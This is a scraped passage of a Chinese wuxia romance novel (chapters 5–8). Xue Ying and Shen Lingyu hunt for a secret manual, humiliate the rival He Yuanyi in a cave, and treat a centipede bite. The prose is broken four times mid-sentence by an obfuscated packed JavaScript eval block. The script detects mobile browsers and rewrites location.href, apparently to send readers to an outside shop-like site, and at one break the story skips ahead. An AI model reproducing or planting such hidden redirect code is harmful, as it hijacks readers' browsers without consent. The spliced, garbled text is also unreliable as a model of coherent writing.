薛滢不怕他知道是谁,何况,他也想不起来的。她父母生下她并没有对外说起,还一直养在山上,现在她才在江湖展露手脚。 “你知道我的名字,我也知道你的了。”薛滢围绕着他慢慢踱步,“我想跟着你一起找秘籍,可以的吧,我觉得我们已经算是朋友了,对不对?” 5. 荡秋千 沈泠钰有些犹豫,他这次下山是专程为了秘籍而来,要是再带人,恐怕会不方便。 更何况,若薛滢的目的也是秘籍,他不想因此和她交手。 再者,她说和他是朋友,可他从来没有朋友,在楚山虽然有很多师兄弟姐妹,却没有关系特别深的。 沈泠钰认为自己是个无趣的人,若薛滢装成老婆婆骗他,只是为了和他一起找秘籍,那她很快就会觉得无聊。 “薛姑娘,你……为什么要骗我?”沈泠钰犹豫道。 “那个江南八门的弟子,你知道我为何要故意逗他?”薛滢却反问。 沈泠钰摇头。 “他在酒楼下面看见我,要来见我,我就想,我要扮成一个老婆婆吓唬他,再变成本来的样子,那样肯定很好玩。” 薛滢在他面前来回踱步。 “可是呢,我就只是撞了他一下,他就骂我,你说我老婆子能受这气吗?” 她嘻的一笑,抓住沈泠钰衣袖,“沈少侠就不一样了,我是老婆婆还是小姑娘,你都不嫌弃是不是?我骗你,你还给我买包子,你可真是个好人。” 从沈泠钰本来有点愠怒,见她执意要在湖里洗澡,还是留下来守着她时,薛滢就确定,他真的和那些楚山的倔牛不一样。 月光下,沈泠钰的瞳孔乌黑,神色有些怔愣。 他换了被弄脏的那件衣服,依旧是一身雪白,显得干净澄澈,却不冰冷,犹如山间的清泉般柔和。 “你骗我是因为你想试探我吗?”沈泠钰声音莫名的不太自在。 “其实更多是我想逗你玩玩。”薛滢拽了他一下,“因为这样,你要生我的气吗?” “我没有生你的气,薛姑娘。”沈泠钰轻声说。 他的生活向来是习武占绝大多数时间,又从小性子沉稳,极少有事情能让他动怒和情绪失控。 “那你怎么不答应我,带我一起找秘籍啊?”薛滢不高兴道,“难道我的武功很差劲?难道我会拖你后腿?” “都不是,一是我受命下来,不是来玩的。”沈泠钰解释,“二是……”他歉意地摇摇头,“你和我待在一起久了,你会觉得很无聊的。” “你一直在说你师傅的命令,干嘛这么听他话啊,既然下山,那就边找秘籍边玩,两全其美。”薛滢不满地撇撇嘴,“你哪里无聊了?” 沈泠钰只微微一笑,继续往前走,薛滢跟在他身边。 “师傅的话,当然要听的。”他说。 薛滢就不喜欢他这点了,在她看来只有对的话才听,但不是谁的话都是对的,所以得看话不看人。在家时,她可没少和爹娘拌嘴。 一路上,薛滢拉着他东扯西扯,硬要他答应带着自己,可沈泠钰不知为何,没有直接答应,却也不赶她走。 一来二去,薛滢就当他是默认了。 “对了,薛姑娘师出何门?”回到城内的街道上,沈泠钰问。 在寺庙和树林里,他见薛滢的武功,实在厉害,却看不出是何种门路。 薛滢心念转动,明白自己可不能把身世说给他,他师傅是楚明枫,说不定沈泠钰时常听他说自己爹娘坏话,对他们有偏见。 那她还怎么待在他身边呢?她还得和沈泠钰成为侠友,等日后能见到楚明枫,吓这老东西一跳。 想到这里,薛滢就掩面咯咯一笑,正经说道:“我自立门户,没有师傅。” “没有师傅,薛姑娘实在天资聪颖,自己就能学得那样厉害的功夫。”沈泠钰笑笑。 “你别不信啊。”薛滢跳到他身前,伸出根手指,“除了拜师,还是有很多办法可以学功夫的。” “我信薛姑娘的,只是现在天晚了,该歇息了。”沈泠钰看看夜空,说话间,两人到了客栈外。 “那你明天可不许自己走,要是丢下我自己走,我一定找得到你,等我找到你,哼哼。”薛滢笑着威胁。 沈泠钰摇头轻笑,“既然薛姑娘执意和我一道,也无大碍,只是这不是玩闹,明日还得赶路,若薛姑娘觉得无聊,或者不想一起了,可以随时离开。” “我知道我知道,你师傅给你的任务嘛。”薛滢满不在乎,“哪里无聊了?我觉得可好玩。” 沈泠钰但笑不语,他不是说路上无聊,而是认为薛滢这样有趣活泼的姑娘,和他待一起久了,迟早会厌烦的。 提前打好招呼,提醒她也提醒自己。 夜深,两人各自回到自己房间休整,次日一早,薛滢就收拾好,先让小二上两份包子油条,便坐着等沈泠钰。 她想看看沈泠钰会不会自己走,结果让她很满意,沈泠钰一身雪白,从楼上下来,坐到了她身旁。 “吃吧,吃完上路。”薛滢高兴道。 “上路?”沈泠钰愣了一愣。 “不是要找秘籍吗?虽然我对这玩意并不是很感兴趣,但我走南闯北,还是知道些东西的。”薛滢笑着道。 沈泠钰面上一喜,“那姑娘可否道来?” 薛滢本是要说的,可见他对自己还是这样生分,撅了撅嘴道:“我知道的事可多了,但我只说给和我相熟的人,你还喊我姑娘,真是生分。” “那我——”她如此小女孩俏皮的可爱模样,沈泠钰一时呆住。 他知晓薛滢是故意的,却不知道该怎么应付。 见他如此,薛滢轻轻一笑说:“好吧,我暂且不逼你。”她把一碗豆浆往他面前推去,“相传,《九洲秘典》这本奇书,是往前数百年,一位武林高手所作。” “是。”沈泠钰点头,“据说这本书出世后引起武林不小的轰动,害好多人为此丧命,后又被那位高人拿了回去,不知放在了哪里。不过已经是许久的事了。” “没错,这书奇就奇在什么内容都有,是那位高人游历天下,呕心沥血所作。”薛滢笑道,“我先前听说过,那位高人曾经在洛州万窟山的山洞待过。” “所以我们现下要去万窟山?”沈泠钰思索道。 现下他们在中原,离洛州还有一些距离,但骑马的话,也不过半日的功夫。 “去看看,总会有线索的,路上还能听听还有没有其他说法。”薛滢说,“我看那些武林高手,不都喜欢在山洞里刻一些字吗?” “有道理,只怕不止我们想到这方面。” 薛滢见他吃好,手撑在桌上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480433|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬了扬下巴。 沈泠钰本还在沉思,见状,二话不说,拿出碎银放桌上。 “走吧。”他起身。 薛滢噗嗤一笑,“泠钰哥哥,你这样会遭人骗啊。” “我……你叫我什么?”沈泠钰眼睫颤了颤。 “你比我大三岁,难道我还不能喊你一声哥哥吗?”薛滢叉腰道,手指在他肩膀点了几下,“倒是你,显得那样生分。” 她哼了声,昂首轻快地走了出去。沈泠钰在原地呆了呆,忙跟上。 薛滢行动极快,拉着沈泠钰就跑到集市上去挑选马匹。 她眼光毒辣,在几个商贩间转来转去,终于选得了一匹白马一匹棕马。 沈泠钰见状,再次上前付账。 “泠钰哥哥,你就不怕我讹你吗?”薛滢不由问。 “不怕。”沈泠钰简短地说。 看着他笔直的身影,薛滢越发觉得他和那些爱计较的正派人士不一样了,可真是个好人。 两人骑上马,很快出了城,往万窟山的方向赶去。起初,薛滢骑得是棕马,可途中她又觉得白马好骑一些,停了下来,在原地徘徊。 沈泠钰控制着白马回来,轻声问:“薛姑娘怎么了?” “泠钰哥哥,怎么我看你骑得就比我快呢?大约是马的缘故吧?”她嘀咕道。 虽然相处不长,沈泠钰也略知晓她的小孩子心性,笑了一笑说:“那我们互相换一匹吧。” 他说着,直接从马上跳了下来,薛滢喜滋滋的。 到万窟山前的洛州时,也不过下午两点,一路上薛滢又是和沈泠钰说话玩闹,又是和他比赛骑马,倒像是专程游玩一般。 沈泠钰本来年岁不大,虽然性子沉稳,但被她带着,又被她刻意挑逗,也觉得很有趣,起码不像一个人时,脑子里只想着怎么完成师傅的任务。 到了洛城,薛滢想吃这里有名的肉饼,沈泠钰买给她,两人骑在马上慢慢吃,往城外的万窟山走去。 两人骑马到半山腰,再往上就没有山道了。 薛滢从马上一跃而下,将马拴好后,往前面一眺望,隐约看见有什么东西在树木间晃动。 她足尖轻点,想前去看个究竟。沈泠钰一回头,只看到她的背影了。 “薛姑娘!”他扬声喊,提步正欲追,薛滢却又笑着回来了。 “薛姑娘。”沈泠钰叮嘱,“这上面杂草丛生,定有猎人布下的陷阱,我们要小心些。” “我知道,一直留意着呢。”薛滢浑不在乎,笑嘻嘻地抓住他胳膊,往前一指。 “我们快走,前面有好玩的。” “什么好玩的?”沈泠钰问,悄然把胳膊从她怀中抽了出来。 薛滢注意到他淡淡的疏离,撇撇嘴,没和他计较,反拽住他手腕,快步走进丛林中。 “前面有人在荡秋千!”薛滢往前面的树下指去,“你瞧!” 沈泠钰定睛一看,不由吃了一惊。 只见一个和他差不多大的男孩被绑住双手,堵住嘴巴,掉在那棵树下。 注意到有人来,那男孩不停朝他们扭动着身体,看样子是在向他们求救。 6. 姻缘 “这不是在荡秋千。”沈泠钰无奈道。 薛滢耸肩笑笑,先跑过去,打量着这个被吊在树上的男孩一番。 这少年生得斯文俊秀,衣服布料瞧着也价值不菲,怎么看也不像是会出现在这树林中的人。 “你这是怎么回事?”薛滢扯掉他嘴里的布,憋着笑问。 “两位少侠,两位少侠!”这男孩忙说,满脸祈求的模样,“帮我一把,把我放下来吧。” 沈泠钰手握住剑柄,当即就要帮他下来,薛滢却拦住了他。 “薛姑娘?”他略有不解。 “先等等,泠钰哥哥。”薛滢摸着下巴,走在这男孩面前,“你先告诉我们,你为什么会被吊在这里?总不能是自己把自己挂上去的吧?” “那自然不是了。”男孩哭丧着脸,往前面望了眼,“两位一看就是武林人士,这位少侠是楚山的对吧,那你们一定听说过斜阳宫吧。” 斜阳宫也是武林当中排得上号的帮派,其宫主楼春尽也在五大宗师中,还和薛滢的父母交好,常来鹤眠山上坐,每次来,都会给薛滢带好玩意。 但薛滢对这男孩没有印象,当下问:“你和斜阳宫有什么关系?是里面的弟子吗?” “斜阳宫宫主楼春尽是我舅舅!”这男孩忙说,“我叫楼闲月,他是我亲舅舅。” “你姓楼,但楼宫主是你舅舅?”沈泠钰语带疑惑。 “啊,是这样,我原本是姓江的,但父母离世后,我舅舅也不打算娶妻生子,干脆就让我姓楼了。”他解释。 如此说来,是想让楼闲月日后继承宫主之位了。 “你是楼春尽的外甥,但我怎么没听说你呀?”薛滢好奇道。 楼春尽往日来鹤眠山上,她都要缠着他问山下的事,却从来没有听他说起过楼闲月这个人。 “呃……我不善习武,也不喜欢刀剑之类的,老是惹我舅舅生气。”楼闲月讪讪一笑,“两位先把我放下来吧,我是被一个江南八门的人挂在这里的。” 薛滢抬起眼,“江南八门?是不是长得很瘦,拿着一把扇子?” “对对!就是他,他说我挡了他的路,我和他打了一架,但我打不过他,就被挂在这里……”楼闲月秀气的脸浮现出一抹红晕。 唰的一声,楼闲月手臂上的绳子断裂,他跌坐到地上,摸着屁股哎呦个不停。 “他是不是去那山上了?”薛滢弯腰问。 她侧边的青绿发带垂了下来,楼闲月缓过神,现下仔细看去,见她年龄尚小,容貌却清丽秀美,身姿轻盈,前所未见,呆了一呆才说:“是、是的。” 楼闲月慌忙爬起来,语气惊恐,“他说我耽误他找秘典,要是有空,还得抽我几鞭子!” “好啊,这个何原一还真是猖狂。”薛滢笑道,看向沈泠钰,“看来他也去找山洞了。” “嗯,他也想找秘典。”沈泠钰点头。 见两人要往上面走,楼闲月犹豫了下,还是追上去说:“两位要上去吗?可那家伙的功夫还不错,而且比我们大好几岁……” “我可不怕。”薛滢扬起下巴,“他那点功夫,也叫不错?” 楼闲月悻悻,他只知道沈泠钰是楚山的,可这貌美的小姑娘却瞧不出。 “敢问两位少侠姓名?”楼闲月正经拱手道。 两人简单说了下,便要继续上山,他有些忧虑地抿抿唇,还是跟着他们。 “薛姑娘,那何原一还不知道你就是欺骗他的老婆婆。”沈泠钰说,“这人不是善类,招惹上,恐怕会是麻烦。” “就他那样的,十个一起来,都不够我打的呢。”薛滢满不在乎,忽而笑道,“不过,要是按泠钰哥哥你说的,要让他知道我就是那个捉弄他的老婆子,还不叫他目瞪口呆?” 心知她又是觉得好玩,沈泠钰只是微笑,他见识过她功夫,确实在何原一之上。 三人顺着被踩下去杂草往前,果真在一丛杂乱无章的树丛中看到了一个山洞。 那山洞隐藏在之间,已经被人来过,前面被踏平了许多,让阳光得以进去,看得清里面是石壁,挺大,还宽敞。 “他一定还在里面……”楼闲月躲在两人身后,小声说。 “且看我们的吧。”薛滢微微一笑,“不过,楼公子你又是为什么来这山上?” “实不相瞒,我是和舅舅吵架,又听闻秘典的事,想来找找,要是找到了,就可以拿着向他道歉。”楼闲月咽了口唾沫,“看来我是找不到的了。” 薛滢和沈泠钰对视一眼,一起走进山洞。楼闲月是不想的,可外面一人也无,他待着害怕,连忙跑在两人身后。 这山洞看上去并非浑然天成,整个内壁都是石头堆砌,年代久远,被各种藤蔓爬满,不少虫子在缝隙间爬行。 但里面很大,往前竟还有好几个宽敞的通道,通道内漆黑,不知通往何处。 这时,中间的通道口传来了叫嚣的声音:“真是,这看着都废弃许久了,就算秘籍在此,也早就被那些烂虫啃干净了,真不知道师傅非要我们来这儿看看干嘛。” 薛滢和沈泠钰耳力极好,听出那正是何原一的声音。 “是、是把我吊树上的人!”楼闲月缩在他们身后,小声说。 “听他的话,他身边是不是还有人?”薛滢问。 “是,还有两个小点的,大概是他的师弟师妹吧。”楼闲月嘀咕,“真的能打过吗?” 薛滢哼了声,抬腿便往声音传来的通道走去,忽然,沈泠钰握住了她的手腕。 “薛姑娘,非必要,我们还是别动手。”见她回头,沈泠钰轻声说。 “哎呦,我没有想要动手。”薛滢对他笑道。 三人这才进去,这通道虽不狭窄,并排却只够站两个人。沈泠钰让薛滢走中间,他则在最前面,举着火折子。 “这石壁上刻着什么啊,看着也不像现在的地图。”何原一啧道。 “师兄,我们快走吧,这里待着真不舒服。”一道女声说。 “不急,那里面还没有……你是!” 他话说到此处,余光瞥见通道口处走出一白一青两道身影,侧头一瞧,见是那晚遇到的小姑娘,当即摇晃着扇子说不出话。 薛滢见他两眼瞪得大大的,更像一只猴子了,噗嗤一下笑了出来。 “你笑什么?”何原一的师妹皱眉问,“师兄,他们是谁?” 她看见沈泠钰的腰牌,惊讶道:“楚山的人?” “他是,这位小娘子可不是。”何原一握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480434|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着扇子,殷切地走上前,“上次还没来得及问姑娘芳名呢。” 他过来时,楼闲月忙将脑袋低了下去,恰好何原一视线都在薛滢脸上,全然没注意他们身后的人。 沈泠钰心知这人不安好心,手臂挡在薛滢身前,可她却笑着走上前,绕过何原一,去看那墙上的壁画。 这壁画瞧着像是一幅地图,许是太过久远,好多地方都看不清,还生了苔藓。 “嗯……这其中或许大有深意啊。”薛滢呢喃。 “我们都在这里瞧半天了,你能看出什么?”那师妹抱臂嚷道。 “诶,师妹,稍安勿躁。”何原一摇晃着扇子走来,“我看这位姑娘聪明非凡,定能瞧出些什么来。” 薛滢笑而不语,在怀里摩挲着,忽然啪的一声,一枚玉佩掉了出来。 “这是……”何原一恍然,这不是他那天被老太婆摸走的玉佩吗? 沈泠钰面色一凛,快步走到薛滢身边,他看出薛滢刚刚那一下就是故意的。 “师兄,这不是你的玉佩吗?”那师妹讶然道。 “正是,这正是我的玉佩,可怎么……”何原一蹲下身,薛滢先一步拿起玉佩,他便颤着手,万分震惊地看着她,好几次想握住她的手。 “这是你的玉佩?可这是我前些日子得来的啊。”薛滢笑道,语气尽是得意。 “不知姑娘是从哪里得来的?”何原一忙说,“姑娘看看背后,那里刻着一个‘何’字。” 薛滢粗略一看,“不错,是有个何字。” “如此看来,我和姑娘真是好缘分啊。”何原一摇晃着扇子,“姑娘有所不知,这玉佩可是我家传家之宝,是要给我未来的妻子的,姑娘既然得了这玉佩——” “薛姑娘年龄尚小,何公子说早了。”沈泠钰开口,“她比我还小三岁。” “沈公子多大?”何原一淡淡问。 “十八。” “我今年二十一,也不过比薛姑娘大六岁而已,况且,这俗话说,男人大会疼人,薛姑娘年幼,生得又娇俏,等婚成过后,我必定好好疼惜娘子。” 他对着薛滢鞠了一躬,虽说他有些其貌不扬,外表远比不上沈泠钰,可到底有些功夫和学识,这一下倒也是风度翩翩。 沈泠钰眉头蹙起,想要再说些什么,却见薛滢笑意盈盈,双眸明亮有神,像是对他感到格外满意一般。 他当即有些说不出话来,殊不知薛滢心中想的却是,这家伙给她提鞋都不配。 “原来这玉佩还有这用途。”薛滢做出深思的模样,“你说你这玉佩被谁摸走的?” 何原一一听,忙把自己这玉佩是被一个满身脏污,相貌丑陋的老太婆给摸走的,那老太婆还戏弄了他一番,叫他吃了好大的苦这事告诉了她。 最后还洋洋得意道,是他大发善心,把那老太婆给放走了。 “哦——所以,那个老婆婆还真是可恶,要是你见到她,是不是要将她打一顿?”薛滢无辜问道。 “那是自然,我好歹也是江南八门的弟子,受那样的侮辱,定是要还回来的。”何原一哼哼笑道,又殷切地看向她。 “不过,这老太婆拿走玉佩,倒是成了我们一段姻缘,可见我们是——命中注定的缘分啊。” 7. 毛裤 躲在沈泠钰背后的楼闲月都被这番话恶心得嘴角直抽搐。沈泠钰周身的温和也消散,握住剑柄的手发紧。 薛滢却捂住嘴,笑得委婉娇怯。 何原一见状,舔了舔嘴唇,举起双臂,似乎想将她拥入怀中。 “那天你在酒楼下面看见我,上来却不见人,却被一个老婆婆撞到是不是?”薛滢问。 何原一一怔,放下手,点了点头。 “后来你又在一家客栈遇到那老太太,还被她抵赖玉佩不是她拿的,被狠狠戏耍了一通是不是?”她又问。 何原一有些突出的眼珠转动了下,缓缓点头,隐约觉得哪里不对。 “再后来,你去寺庙,被那个老婆婆威胁蹲地上青蛙跳,是不是?” 何原一再点头,身形已然有些僵直,面露尴尬之色。 他的师弟师妹还不知道他遇到了这一遭,闻言,两人都有些想笑又不敢笑。 “你去追那个老太婆,却被泠钰哥哥拦住,后面又见到了我,是不是?”薛滢含笑问。 “正是——” 何原一呆住,不可置信地看向薛滢。 这些事发生时现场根本没有薛滢在,那她是怎么知道的?沈泠钰不像是会告诉她的人,而那晚他去追老太婆没有追到,反而见到了薛滢,莫非…… “你……你就是那个老婆子!”何原一指着她喊,险些破了音。 薛滢咯咯笑出来,一本正经地点头道:“是我,正是我。” “你……你……”何原一喘着气,似乎又是气又是不理解,“你戏弄我?” “你生气了?”薛滢手指甩着那枚玉佩,眨眼问。 “师兄,这丫头戏耍你那么多次,还对她说什么!”他师妹跳前来,手抽出一把短刀来,“干脆料理了她算了!” 沈泠钰立即挡在了薛滢身前,楼闲月犹豫了下,也跑着过去了。 但何原一喘了半晌气,终究还是色心敌过了积压的怒气,把他师妹往后一挥,整理着衣冠。 “急什么,我只是略有些惊讶,觉得这不像是薛姑娘所为,况且她年龄小,爱玩闹实属正常。” 他师弟师妹欲言又止,被他拦住了。 “既然我们的相遇,全是姑娘的手笔,那更是妙不可言呐。”何原一又换上笑容,“姑娘如今已经得了我的玉佩,我也不气先前姑娘的所作所为,那就随我去江南一趟吧。” “何公子,别忘了你的玉佩已经被我买下来了。”沈泠钰声音温润淡然,“如今这枚玉佩只属于薛姑娘一人,她无需照你的话就定下婚姻大事。” “等等,泠钰哥哥。”薛滢从他身后走出,双手负在身后,“我倒觉得这位何公子不错。” 沈泠钰眉头蹙了蹙,不明白她为何这样说,他记得她很不喜这个人。 何原一却是面色一喜,“姑娘说得对,等你熟络我,就知道我不错的地方多了去了。” “可是,我家人对我夫婿的要求很严格的。”薛滢苦恼地在他面前踱步。 “姑娘请讲。” “我爹爹说,要选夫婿,定要看他的身板如何,我们习武之人,总不能选个病秧子吧。”薛滢不假思索道。 “那倒是。”何原一颔首,笑容暗示她,“不过,这身板什么的,姑娘日后成亲不就知道了?” “可我怎么能冒险呢?”薛滢围着他转了一圈,“我得先确定了才行。” “我师出江南八门,这方面,定是有保障的。”何原一柔声说。 薛滢嘴一撇,“我不信,除非现在让我看看。” 几人脸色大惊,沈泠钰已经看出她是要捉弄人,尚且好些,但楼闲月和那两位就被吓得不轻。 “开什么玩笑,叫我师兄当众解衣?”何原一师妹涨红了脸。 “怎么了,不愿意啊?”薛滢问。 何原一正为难着,扭头看了眼通道口,正要说去外面洞内细看,却听见薛滢笑着道:“你不脱?那我帮你!” 她双手猛然一扯,几人都没听见任何声响,只有沈泠钰眼尖,看见薛滢手指间有几根细细的丝线。 何原一忽觉双腿一冷,在他身后的师妹尖叫出声,对面的楼闲月拼命憋着笑。 他低头一瞧,自己的外衫带着里面的裤子,居然被整整齐齐切割了下来,已然掉到了地上,只留着里面的红色亵裤。 “这天气也不冷啊,何公子怎么还穿毛裤?”薛滢噗嗤一笑道。 何原一两条腿腿毛旺盛,看着还真像是毛裤。 他反应过来,焦急地把被割断的衣服拿起来挡着。 “看来今年还是何公子的本命年啊。”楼闲月小声说,心里只觉得痛快。 “你们……你们!”何原一气得在原地又喊又叫,被一个小姑娘戏弄至此,现下连衣服都被割了,下半身就一条红色短裤挡着,真是奇耻大辱也不为过。 “别看了。”沈泠钰表情略有无奈,手臂挡住了薛滢的眼睛。 “你们给我等着!”何原一大喊,双手拽着衣服,十分狼狈地跑出通道,两位师妹师弟忙跟上。 三人一走,楼闲月就笑倒在地上。 “好啊,好啊,薛姑娘,你方才是怎么做的?你们看见他的脸色了吗,就像猴子屁股!” “我只是对他用了点小玩意,武功稍微高点的人就能察觉到,但谁叫他只顾着说什么姻缘姻缘呢?”薛滢将丝线绕到手指间,哼笑道。 原来,她方才绕着何原一走来走去时,就已经将这丝线缠绕住了他,不过这丝线虽然极细,不留神根本注意不到,但十分坚韧,只要稍一使内力,其锋利程度不输那些锐器。 “薛姑娘厉害,我太佩服了。”楼闲月起身说,“不过这下算是得罪那家伙了。” “谁怕他?”薛滢抱臂轻笑,“他该祈祷我不要对他动手才是。” 她看向沈泠钰,“泠钰哥哥,你说我刚刚那一招厉不厉害?” “厉害,但这样的事还是少做为好。”沈泠钰轻声说。 “那有什么,出入江湖,总得得罪几个人。”她哼道。 薛滢受父母言论行事熏陶,做事从来不瞻前顾后,向来顺心而为。 沈泠钰知道她孩子气,转移话题: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼闲月被推得一个踉跄,跌到地上,晃眼一看那囊中爬出数条蜈蚣! 他吓得冷汗直冒,不停往后退,又听见一阵轰隆声,是刚刚何原一点燃的东西,爆炸后害上面年久的沙石往下掉,他抱着脑袋连连闪躲。 沈泠钰和薛滢离他还有段距离,加上现下整个山洞都在摇晃,不停掉下沙石,两人也是不断躲避。 终于沈泠钰赶到,一剑斩断数块落下的大石,将楼闲月提起,把他推了出去。想到薛滢还在里面,他躲避着身前落下的碎石头,退了回去。 “沈兄!薛姑娘!” 楼闲月又摔了个踉跄,跌在地上,马上爬了起来。 山洞口此时已经完全被石头给挡住了,又是许多沙子泥土当填充,居然一点细缝也无。 “薛姑娘!沈兄!”楼闲月连滚带爬到山洞前,颤声大喊。 “我们没事!”里面传来沈泠钰的声音,楼闲月这才松了口气。 8. 解毒 好在这山洞大约是被那高人改造过,何原一的炸药只引起一些本来松动的部分掉了下来,其余还支撑着,现下已经没了动静。 薛滢打开一只火折子,把昏暗的洞内照亮,朝沈泠钰走去。 被那小人暗算一通,她心里正不服气着,余光忽瞥见沈泠钰脚边,几条黑长蜈蚣正悄无声息爬上他的靴子! 薛滢不喜使武器,身上的银针方才用来击碎那些石头,已经用完了。情急之下,她纵身跃去,抓住沈钰泠双臂,带着他打了个转,远离了山洞口。 谁知,还未等她松口气,忽觉脚上一疼,低头一瞧,她腿上不知何时爬上来一只蜈蚣,已经透过衣服咬在她腿上了! “好疼!”薛滢大叫,一掌内力拍下去,将那蜈蚣拍死在地上。 一阵带着麻劲的疼痛从腿上传来,身体控制不住往下倒。 沈泠钰忙接住她,反应过来是那群蜈蚣,他举剑,几道银光下来,数只蜈蚣断成数节,在地上扭动了下,全死掉了。 “薛姑娘!你、你怎么样?”沈泠钰托住她的手臂,见她眼下浮现出青色,急道,“这蜈蚣有毒,你哪里被咬了?” 薛滢指向自己的腿,狠狠道:“是那何原一放的蜈蚣,我定不放过他。” 沈泠钰现下只想着她千万不能出事,方才若不是薛滢为了他,就不会被蜈蚣咬。 他手无措了下,低声说:“薛姑娘,现在顾不了那么多,失礼了。” 说完,他便撩起她的裙子,再脱掉鞋子,小心翼翼把里裤挽到膝盖处。 暖色的火光下,薛滢小腿纤细,皮肤细腻,但小腿下方的位置,赫然是一个红色的伤口,正在往外冒血,还有扩散的迹象。 “得赶紧解毒才行。”沈泠钰皱起眉,沉声说。 “倒也不是大事,只要在毒扩散至全身前及时止住就行。” 对比起他的紧张,薛滢显得比较平静,她知道这不是剧烈的毒,也知道配解药的药方。 可沈泠钰摇了摇头,手握住她脚踝,“不行,现下我们被困在这里,要等我搬开这些石头,薛姑娘你……你一定很疼。” 他低垂着眼帘,注意全在她的咬伤上,纤长浓密的睫毛在微微颤抖,脸色都发白了。 薛滢忍不住笑出声。 沈泠钰愕然抬起头,“薛姑娘,你笑什么?” “我笑你太过紧张了。”薛滢如实说,脑袋往他身上一靠,手指抓住他垂下的头发,“怕什么?这毒死不了人。” “还有没有其他解毒、或者缓解的办法?”沈泠钰问。 “若能把毒弄出来,倒也可以,但短时日内不能用这条腿。”薛滢甩着他的头发,“缓解的……这毒蔓延需要时间,就这样放着也无碍。” 沈泠钰闻言,把她抱起放在墙边,盘腿坐在她旁边,脸色虽苍白,但格外坚毅,“薛姑娘,我现在帮你把毒吸出来,如果疼的话,就告诉我。” “什么?”薛滢呆了呆。 这个被她捉弄,还被她当钱袋子的楚山弟子居然要帮她吸腿上的毒吗? “嗯。”沈泠钰略一点头,俯身小心将她的腿放自己腿上,双手握在伤口的两端,俯首开始吸里面的毒。 那蜈蚣毒不算太难对付,但能麻痹人的神经,混在血水之中,得等到完全没了麻木感才算完。 沈泠钰吸一口吐一口,嘴唇早被染得艳红,若不是他眉头紧皱,看着倒像个貌美的娘子了。 薛滢呆呆地看着他,感觉每次他的嘴唇触碰上来时,就痒痒的。 察觉到她的瑟缩,沈泠钰马上停下,关切道:“怎么了?” 薛滢摇摇头,“有点痒。” “先忍忍。”沈泠钰柔声道。 这时,外面传来楼闲月的声音。 “你们等等!小心那些蜈蚣,我把这些石头搬开!” 他抹了把脸上的汗,不断将挡在山洞口的石头往外搬。 薛滢对外面说了声不急,就欣赏起着急自己的沈泠钰来了。 她虽从小在鹤眠山中,却知道人的一个共同点,要想知道这人是否真心,为人如何,不能看他是否在对方得势时加以祝福和吹捧,而是看他在对方失势和受伤时担不担忧,害不害怕。 薛滢见惯了因为父母的缘故就对她格外殷切的人,现下遇到一个不知她身份,还对她纵容的正派弟子,惊讶的同时,还觉得高兴和好玩。 “泠钰哥哥我决定了。”薛滢嬉笑道,“我要和你一起找到秘典。” “这个时候,别说秘典了,薛姑娘。”沈泠钰擦了下嘴唇,“感觉怎么样?” 薛滢摇头,“不疼。” 沈泠钰借火光一看,毒性已经停止蔓延了,他松了口气,直接将自己的衣服撕下一截,缠绕住伤口。 “我还得陪你一身衣裳啊。”薛滢笑道。 “无碍。”沈泠钰笑笑,“薛姑娘没事就好。” 他让薛滢先歇着,起身帮楼闲月一块搬石头,等外层搬到差不多,他对外面说:“楼公子,你站远些。” 楼闲月此时已经累到说不出话了,搬的过程中一直在懊悔自己先前没有好好习武。 他喘着气站远,沈泠钰拔出剑,使出在楚山所学极为强悍的剑术,只听轰的一声,眼前的石头全成了碎块,掉了下来,出现了一个小洞口。 薛滢在后面见他招式大气又浩瀚,不由也佩服了一把,到底是武林最为正派的武功。 沈钰泠把这个洞口扩大,转身到薛滢跟前,蹲了下来。 “薛姑娘,我背你。”他说。 薛滢嘻的一笑,趴到了他背上。 见两人出来,楼闲月险些喜极而泣。 “吓死我了,我差点以为我害死两个英雄豪杰!” “我们才没那么容易死。”薛滢哼道,“倒是那个何原一,我记住他了。” “正是正是,这样的人可真是蛇蝎心肠!”楼闲月附和道。 只要在江湖上,就不愁见不到,现下他们也不用急于报仇。楼闲月注意到薛滢被背着,问:“薛姑娘受伤了?” “被那家伙放的蜈蚣咬了一口。”薛滢瘪瘪嘴。 “我们快些下山。”沈泠钰说着,足尖轻点,已然往山下跃去。 楼闲月武功不大好,好在该学的还是学了,虽说只能勉强跟在他身后。 薛滢搂着沈泠钰脖子,等他暂且歇息,放缓速度时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 